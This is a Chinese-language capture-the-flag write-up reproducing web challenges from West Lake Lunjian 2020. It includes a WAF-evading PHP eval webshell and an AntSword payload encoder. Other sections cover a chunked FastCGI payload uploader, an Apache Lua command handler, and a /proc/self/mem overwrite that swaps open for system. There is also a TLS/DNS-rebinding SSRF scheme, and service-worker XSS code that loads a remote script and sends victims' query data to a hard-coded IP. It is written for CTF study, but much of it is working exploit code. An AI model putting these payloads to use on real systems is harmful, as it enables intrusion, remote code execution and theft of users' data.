西湖论剑2020复现
目录
呜呜
newupload
绕过waf:

最后上传的为%<?php eval(substr($_POST[‘x’],1));然后只需每个参数第一个字符多加一个百分号即可绕过waf
或者3次url编码也可绕过waf,于是可以新建一个编码器
/** * php::base64编码器 * Create at: 2020/10/14 00:12:57 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 data[pwd] = Buffer.from(Buffer.from(Buffer.from(data['_']).toString('base64')).toString('base64')).toString('base64'); // ########## 请在上方编写你自己的代码 ################### // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data; }
打fastcgi
蚁剑插件
发现插件8行,因为payload太j8长了,长度10000多,所以直接手动升级一下插件,修改到一个包3000长度,放入不同的文件
//吐槽一下,不知道为啥,复现的靶机网络老是出现no response,即使3000长度一个包最后能不能打成功也要看人品,建议直接send to repeater暴打
//payload太长被拦截,分成3000长度一个包,写入不同的文件 var parts = payload.match(/.{1,3000}/isg) || []; // console.log(payload.length); console.log(parts); var mypart=""; for (let i=0;i<parts.length;i++){ mypart=`file_put_contents("payload_${i}",'${parts[i].replace(/'/g,"\\\'").replace(/\\\\'/g,"\\\\\\'")}');`; //这里调了好久,我淦 console.log(mypart); core.request({ _:mypart }).then((response) => { }).catch((err) => { // 超时也是正常 }) } var final_payload="$a='';"; for (let i=0;i<parts.length;i++){ final_payload+=`$a.=file_get_contents('payload_${i}');`; } final_payload+=";eval($a);"; console.log(final_payload); core.request({ // _: payload, _:final_payload }).then((response) => { }).catch((err) => { })
https://github.com/chuochuodragon/as_bypass_php_disable_functions


后来发现payload太长的话还可以用p大写的脚本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
lua脚本
require "string" function handle(r) r.content_type = "text/plain" if r.method == 'GET' then local a = io.popen('/readflag') local b = a:read("*all") r:puts(b) end return apache2.OK end
<Files "*.lua"> SetHandler lua-script </Files>
flagshop
dump libc和php5二进制文件,分别找到system和open的偏移,然后在/proc/mem/self里Open偏移的位置写入system的地址(偏移+libc基址)
GET /sandbox/4db07ec8-bb0f-443b-b375-9d5415573b50/backend.php?readfile=/./readflag>/tmp/fuck&offset=15333784&buffer=%90%65%f8%f5%ff%7f&writefile=/proc/self/mem
HelloDiscuzQ
DNS TTL
- DNS记录在DNS服务器上缓存的时间
TLS握手
https://xz.aliyun.com/t/1039#toc-2
Client Server ClientHello --------> ServerHello Certificate* ServerKeyExchange* CertificateRequest* <-------- ServerHelloDone Certificate* ClientKeyExchange CertificateVerify* [ChangeCipherSpec] Finished --------> [ChangeCipherSpec] <-------- Finished Application Data <-------> Application Data


TLS+dns rebinding进行ssrf原理
- 被攻击服务器访问evil.com:11211,首先进行dns请求,dns返回正常的ip地址,ttl=0
- 被攻击服务器发送client hello
- evil.com返回Server Hello,并在包中设置payload(session id等)
- tls握手完成后,http服务器返回301,跳转到evil.com:11211
- 因为ttl=0,再次发送dns请求,这次返回ip地址为127.0.0.1
- 因为被攻击服务器使用TLS会话重用的优化算法,缓存了session id等payload,于是被攻击服务器带着payload访问127.0.0.1:11211
A+AAAA

ipv4转ipv6
https://www.ultratools.com/tools/ipv4toipv6Result?address=104.238.183.129 (还是走的ipv4)
题解
ssrf


准备恶意的tls服务器
freessl申请一个证书

hardxss
登录界面有一个jsonp,callback处有xss

service worker
https://lightless.me/archives/XSS-With-Service-Worker.html
特性
- 无法直接访问DOM
- 可以简单的理解为是一个代理,可以拦截网络请求,修改返回内容等。
- 只能在
localhost
和HTTPS
网站上使用。
仅有一个sw脚本还不行,要注册到浏览器上
navigator.serviceWorker.register('./sw.js', { scope: './' })
- scope是指sw可以控制的范围,要求是要小于脚本本身所在的范围
- scriptURL指第一个’./sw.js’,要求必须同域且使用https
这里会产生2个问题
- 怎么从我们自己的vps上引入恶意的sw.js?
- 利用jsonp的callback函数
?callback=importScripts('https://xxx/sw.js');
- sw.js怎么跨子域名控制页面,比如在
http://xss.xxxxxx/?callback="c.ccdragon.cc/a.js"
获取http://auth.xxxxxx/login
上的请求- 通过新建iframe和设置document.domain来使iframe和父body的js可以实现不同的子域名之间的互通。
- 设置document.domain=http://xxxxxx
- 创建iframe并把src设置为https://auth.xxxxxx/
- 然后在iframe中执行注册service worker的js即可
题解
入口脚本:a.js
document.domain="hardxss.xhlj.wetolink.com"; var iframe = document.createElement('iframe'); iframe.src="https://auth.hardxss.xhlj.wetolink.com/"; iframe.addEventListener("load", function(){ loadover(); }); document.body.appendChild(iframe); function loadover(){ s = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//xsspt.com/NKcif0')//")`; iframe.contentWindow.eval(s); }
sw.js
self.addEventListener('install', function(event) { console.log('install ok!'); }); self.addEventListener('fetch', function (event) { console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return requestBackend(event); }) ) }); function requestBackend(event){ var url = event.request.clone(); console.log(url); return new Response("<script>location='http://120.78.137.107:12333/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }}) }
把sw.js放到服务器上,然后在callback处?callback=jsonp(atob(a));//&a=ZG9jdW1lbnQuZG9tYWluPSJoYXJkeHNzLnhobGoud2V0b2xpbmsuY29tIjsKdmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjPSJodHRwczovL2F1dGguaGFyZHhzcy54aGxqLndldG9saW5rLmNvbS8iOwppZnJhbWUuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIGZ1bmN0aW9uKCl7IGxvYWRvdmVyKCk7IH0pOwpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlmcmFtZSk7CmZ1bmN0aW9uIGxvYWRvdmVyKCl7CiAgICBzID0gYG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLnJlZ2lzdGVyKCIvYXBpL2xvZ2luU3RhdHVzP2NhbGxiYWNrPXNlbGYuaW1wb3J0U2NyaXB0cygnLy9jLmNjZHJhZ29uLmNjL3N3LmpzJykvLyIpYDsKaWZyYW1lLmNvbnRlbnRXaW5kb3cuZXZhbChzKTsKfQ==即可
发现需要https
傻逼阿里云 域名没备案不给用
没办法,就放在xsspt里好了

登录即可得到flag